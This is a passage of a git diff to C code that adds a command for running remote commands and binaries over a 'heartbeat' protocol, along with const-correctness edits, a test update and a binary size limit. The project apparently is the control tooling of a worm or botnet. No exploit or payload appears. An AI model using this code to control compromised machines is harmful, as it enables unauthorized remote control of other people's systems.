+ return ret;
+}
+
+static bool run_recv_status (const uint16_t msgid) {
+ prne_htbt_msg_head_t mh;
+ prne_htbt_status_t st;
+
+ prne_htbt_init_msg_head(&mh);
+ prne_htbt_init_status(&st);
+
+ prog_g.cmd_st.run.has_status =
+ recv_mh(&mh, &msgid) &&
+ recv_status(&st);
+
+ prne_htbt_free_msg_head(&mh);
+ prne_htbt_free_status(&st);
+ return prog_g.cmd_st.run.has_status;
+}
+
+static int cmdmain_run (void) {
+ uint16_t msgid;
+
+ msgid = prne_htbt_gen_msgid(NULL, htbt_msgid_rnd_f);
+
+ do { // fake
+ if (!do_connect()) {
+ break;
+ }
+ if (!run_setup(msgid)) {
+ break;
+ }
+ if (!prog_conf.cmd_param.run.detached && !run_relay(msgid)) {
+ break;
+ }
+
+ if (!prog_g.cmd_st.run.has_status && !run_recv_status(msgid)) {
+ break;
+ }
+
+ switch (prog_g.cmd_st.run.st.code) {
+ case PRNE_HTBT_STATUS_OK:
+ return prog_g.cmd_st.run.st.err;
+ case PRNE_HTBT_STATUS_ERRNO:
+ errno = prog_g.cmd_st.run.st.err;
+ perror("Error status");
+ return 1;
+ default:
+ raise_proto_err(
+ "Invalid response: code=%"PRIx8", err=%"PRId32,
+ prog_g.cmd_st.run.st.code,
+ prog_g.cmd_st.run.st.err);
+ return 1;
+ }
+ } while (false);
+
+ return 1;
+}
+
static int cmdmain_hover (void) {
int ret = 0;
uint16_t msgid;
@@ -1286,7 +1742,7 @@ static int cmdmain_hover (void) {
if (!send_frame(&mh, (prne_htbt_ser_ft)prne_htbt_ser_msg_head) ||
!send_frame(
- &prog_conf.hover_param,
+ &prog_conf.cmd_param.hover.f,
(prne_htbt_ser_ft)prne_htbt_ser_hover))
{
ret = 1;
@@ -1302,7 +1758,7 @@ static int cmdmain_hover (void) {
goto END;
}
- if (!recv_frame(&st, (prne_htbt_dser_ft)prne_htbt_dser_status)) {
+ if (!recv_status(&st)) {
ret = 1;
goto END;
}
@@ -1345,9 +1801,13 @@ int main (const int argc, char *const *args) {
}
switch (prog_conf.cmd) {
- // TODO
case SC_HOSTINFO: ec = cmdmain_hostinfo(); break;
case SC_HOVER: ec = cmdmain_hover(); break;
+ case SC_RUNCMD:
+ case SC_RUNBIN:
+ ec = cmdmain_run();
+ break;
+ // TODO
default:
ec = 1;
fprintf(stderr, "COMMAND not implemented.\n");
diff --git a/src/proone-test_proto.c b/src/proone-test_proto.c
index 5f61a32..e8c0ef8 100644
--- a/src/proone-test_proto.c
+++ b/src/proone-test_proto.c
@@ -38,7 +38,7 @@ static void test_ser (void) {
static size_t cred_data_len = 0;
static prne_htbt_host_info_t hi_a, hi_b;
static prne_htbt_cmd_t cmd_a, cmd_b;
- static char *test_args[] = {
+ static const char *test_args[] = {
"sudo",
"systemctl",
"enable",
@@ -48,10 +48,10 @@ static void test_ser (void) {
};
static char test_args_mem[] =
"\x00\x2Bsudo\0systemctl\0enable\0--now\0NetworkManager";
- static char *empty_args[] = {
+ static const char *empty_args[] = {
NULL
};
- static char *long_args[] = {
+ static const char *long_args[] = {
"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
@@ -69,7 +69,7 @@ static void test_ser (void) {
"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", NULL
};
- static char *too_long_args[] = {
+ static const char *too_long_args[] = {
"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
@@ -88,7 +88,7 @@ static void test_ser (void) {
"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
NULL
};
- static char *long_mem_args[] = {
+ static const char *long_mem_args[] = {
"123", "123", "123", "123", "123", "123", "123", "123",
"123", "123", "123", "123", "123", "123", "123", "123",
"123", "123", "123", "123", "123", "123", "123", "123",
@@ -122,7 +122,7 @@ static void test_ser (void) {
"123", "123", "123", "123", "123", "123", "123", "123",
"123", "123", "123", "123", "123", "123", "123456", NULL
};
- static char *too_long_mem_args[] = {
+ static const char *too_long_mem_args[] = {
"123", "123", "123", "123", "123", "123", "123", "123",
"123", "123", "123", "123", "123", "123", "123", "123",
"123", "123", "123", "123", "123", "123", "123", "123",
diff --git a/src/protocol.c b/src/protocol.c
index 6598ad8..cc1fc0d 100644
--- a/src/protocol.c
+++ b/src/protocol.c
@@ -396,7 +396,7 @@ ERR:
return false;
}
-bool prne_htbt_set_cmd (prne_htbt_cmd_t *cmd, char **const args) {
+bool prne_htbt_set_cmd (prne_htbt_cmd_t *cmd, const char **args) {
size_t *args_len = NULL;
size_t i, argc;
bool ret = true;
@@ -698,6 +698,10 @@ prne_htbt_ser_rc_t prne_htbt_ser_bin_meta (
{
*actual = in->cmd.mem_len + 5;
+ if (in->bin_size > PRNE_HTBT_BIN_LEN_MAX) {
+ return PRNE_HTBT_SER_RC_FMT_ERR;
+ }
+
if (mem_len < *actual) {
return PRNE_HTBT_SER_RC_MORE_BUF;
}
diff --git a/src/protocol.h b/src/protocol.h
index ba5bcb6..24f4fa3 100644
--- a/src/protocol.h
+++ b/src/protocol.h
@@ -303,6 +303,7 @@ typedef prne_htbt_ser_rc_t(*prne_htbt_dser_ft)(
#define PRNE_HTBT_ARGS_MAX 255
#define PRNE_HTBT_ARG_MEM_MAX 1023
#define PRNE_HTBT_STDIO_LEN_MAX 0x0FFF
+#define PRNE_HTBT_BIN_LEN_MAX 0xFFFFFF
/* PRNE_HTBT_PROTO_MIN_BUF
*
@@ -383,7 +384,7 @@ bool prne_htbt_alloc_cmd (
prne_htbt_cmd_t *cmd,
const size_t argc,
const size_t *args_len);
-bool prne_htbt_set_cmd (prne_htbt_cmd_t *cmd, char **const args);
+bool prne_htbt_set_cmd (prne_htbt_cmd_t *cmd, const char **args);
void prne_htbt_free_cmd (prne_htbt_cmd_t *cmd);
bool prne_htbt_eq_cmd (const prne_htbt_cmd_t *a, const prne_htbt_cmd_t *b);